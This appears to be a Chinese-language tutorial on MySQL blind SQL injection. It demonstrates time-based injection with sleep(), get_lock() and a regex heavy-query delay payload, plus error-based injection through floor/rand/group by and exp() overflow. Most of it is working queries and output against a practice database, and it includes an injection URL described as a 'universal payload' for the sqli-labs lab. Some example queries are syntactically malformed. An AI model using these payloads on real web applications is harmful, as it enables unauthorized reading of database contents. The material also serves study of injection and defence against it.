mysql> select * from users where id = 1 and 1 and sleep(1); Empty set (1.00 sec) mysql> select * from users where id = 1 and 0 and sleep(1); Empty set (0.00 sec)
这里第一条语句执行了sleep(1)，但是却没有结果显示，个人理解，这是因为 id=1 and 1 是有交集的，但是再跟and sleep(1) 得到的是空集 ，所以没有结果出现，但是因为是条件为真，执行了sleep。
第二条语句什么都没执行，因为id=1 and 0 集合为 0，注意这里说的不是空，而是为0，并且和 and sleep(1)交集也为0，所以这里个人认为是获得的最条件为假，所以什么都没有执行。
Get_lock(str,timeout) to obtain a lock with a name given by the string str, using a timeout of timeout seconds. A negative timeout value means infinite timeout. The lock is exclusive. While held by one session, other sessions cannot obtain a lock of the same name. 基本语句：select Get_lock(str,timeout) select release_lock(str) 首先现在一个终端上锁住username字段： mysql> select get_lock('username',10); +-------------------------+ | get_lock('username',10) | +-------------------------+ | 1 | +-------------------------+ 1 row in set (0.00 sec) 在一个新的终端在尝试锁住username： mysql> select get_lock('username',10); +-------------------------+ | get_lock('username',10) | +-------------------------+ | 0 | +-------------------------+ 1 row in set (10.00 sec)
可以看到，第二个终端失败并且延时了10秒钟，因此我们可以用这个方法去进行时间盲注。
1.通过注入对某个字段加锁：
select * from users where id=1 and select get_lock('username',10);
2.构造条件经行时间注入：
select * from users where id =1 and 1 and select get_lock('username',10);
select * from users where id =1 and 0 and select get_lock('username',10);
mysql 中的正则有三种常用的方式 like 、rlike 和 regexp ，其中 Like 是精确匹配，而 rlike 和 regexp 是模糊匹配
like 常用通配符：% 、_ 、escape
1 2 3 4 5
% : 匹配0个或任意多个字符
_ : 匹配任意一个字符
escape ： 转义字符，可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'
rlike和regexp:常用通配符：. 、* 、 [] 、 ^ 、 $ 、{n}
1 2 3 4 5 6 7 8 9 10 11
. : 匹配任意单个字符
* ： 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符，[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头，如^s匹配以s或者S开头的字符串。
$ : 匹配结尾，如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。
来自一叶飘零师傅的payload参考：
1
select * from test where id =1 and IF(1,concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',0) and '1'='1';
报错盲注
floor()+count()+group by
万能payload：
1
http://localhost/sqli/less-5/?id=1' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+
mysql位操作符
使用&
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
mysql> select get_lock('username',10); +-------------------------+ | get_lock('username',10) | +-------------------------+ | 0 | +-------------------------+ 1 row in set (10.00 sec) mysql> select * from users where id = 1 & 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id = 1 & 0; Empty set (0.00 sec)
使用|
1 2 3 4 5 6 7 8 9 10
mysql> select * from users where id = 0 | 1; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.00 sec) mysql> select * from users where id = 0 | 0; Empty set (0.00 sec)
使用^
1 2 3 4 5 6 7 8 9 10
mysql> select * from users where id = 1^0; +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.14 sec) mysql> select * from users where id = 1^1; Empty set (0.00 sec)
mysql> select * from users where id =1 and if(1,1,exp(~(select * from (select version())a))); +----+----------+----------+ | id | username | password | +----+----------+----------+ | 1 | Dumb | Dumb | +----+----------+----------+ 1 row in set (0.03 sec) mysql> select * from users where id =1 and if(0,1,exp(~(select * from (select version())a))); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.40' from dual)))'
